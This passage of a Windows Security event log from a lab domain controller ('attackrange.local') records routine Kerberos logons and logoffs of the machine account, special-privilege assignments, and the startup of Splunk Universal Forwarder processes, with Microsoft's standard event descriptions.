token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256451 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4067B9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256450 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4068C9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256449 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x406912 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256448 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x406996 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65255 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256447 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x406996 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256446 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x406912 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 65254 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256445 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x406912 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256444 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4068C9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256443 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4068C9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256442 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4067B9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65253 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256441 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4067B9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256440 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x40678B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65252 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256439 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40678B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256453 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:22:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256454 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc3c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:22:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256455 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc10 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:22:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256456 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x406996 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:22:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256459 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x408F6B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:22:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256458 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x408F6B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65266 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:22:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256457 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x408F6B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:23:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256461 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:23:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256460 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:23:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256462 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:23:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256463 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:23:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256464 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process 